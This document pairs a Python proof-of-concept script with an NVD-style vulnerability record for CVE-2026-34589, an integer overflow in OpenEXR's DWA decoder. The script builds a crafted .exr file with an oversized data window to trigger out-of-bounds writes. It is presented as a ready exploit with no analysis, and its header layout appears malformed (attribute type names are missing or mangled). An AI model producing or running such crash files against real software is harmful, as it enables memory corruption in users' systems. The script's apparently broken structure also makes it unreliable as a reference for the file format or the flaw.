CVE-2026-34589

import struct def create_poc_file(filename): with open(filename, 'wb') as f: # OpenEXR Magic Number f.write(b'\x76\x2f\x31\x01') # Version flag f.write(struct.pack('<I', 2)) # Header: channels f.write(b'\x63\x68\x61\x6e\x6e\x65\x6c\x73\x00\x01\x00\x00\x00') f.write(b'\x6c\x69\x73\x74\x00\x18\x00\x00\x00') # Header: dataWindow (xMin, yMin, xMax, yMax) # Set large width to trigger overflow in pointer calculation x_min = 0 x_max = 0x7FFFFFFF # Large value to trigger overflow y_min = 0 y_max = 0 f.write(b'\x64\x61\x74\x61\x57\x69\x6e\x64\x6f\x77\x00\x10\x00\x00\x00') f.write(struct.pack('<iiii', x_min, y_min, x_max, y_max)) # Header: compression (DWA compression = 7) f.write(b'\x63\x6f\x6d\x70\x72\x65\x73\x73\x69\x6f\x6e\x00\x01\x00\x00\x00') f.write(struct.pack('<i', 7)) # End of header f.write(b'\x00\x00') # Offset table placeholder f.write(b'\x00' * 8) # DWA data signature f.write(b'\x44\x57\x41\x00') create_poc_file('cve_2026_34589_poc.exr')

{"cve": {"id": "CVE-2026-34589", "sourceIdentifier": "[email protected]", "published": "2026-04-06T16:16:36.040", "lastModified": "2026-04-07T18:59:05.807", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. From 3.2.0 to before 3.2.7, 3.3.9, and 3.4.9, the DWA lossy decoder constructs temporary per-component block pointers using signed 32-bit arithmetic. For a large enough width, the calculation overflows and later decoder stores operate on a wrapped pointer outside the allocated rowBlock backing store. This vulnerability is fixed in 3.2.7, 3.3.9, and 3.4.9."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.0, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.3, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-190"}, {"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openexr:openexr:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.2.0", "versionEndExcluding": "3.2.7", "matchCriteriaId": "4E7AA082-2647-4AAD-9902-1E3873882A3D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:openexr:openexr:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.3.0", "versionEndExcluding": "3.3.9", "matchCriteriaId": "E8321A2E-759A-4B1E-9AAF-0204791F4323"}, {"vulnerable": true, "criteria": "cpe:2.3:a:openexr:openexr:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.4.0", "versionEndExcluding": "3.4.9", "matchCriteriaId": "94F2D271-636B-4E9E-A04B-40E635A59117"}]}]}], "references": [{"url": "https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.2.7", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.3.9", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.4.9", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/AcademySoftwareFoundation/openexr/security/advisories/GHSA-p8xc-w3q4-h64x", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}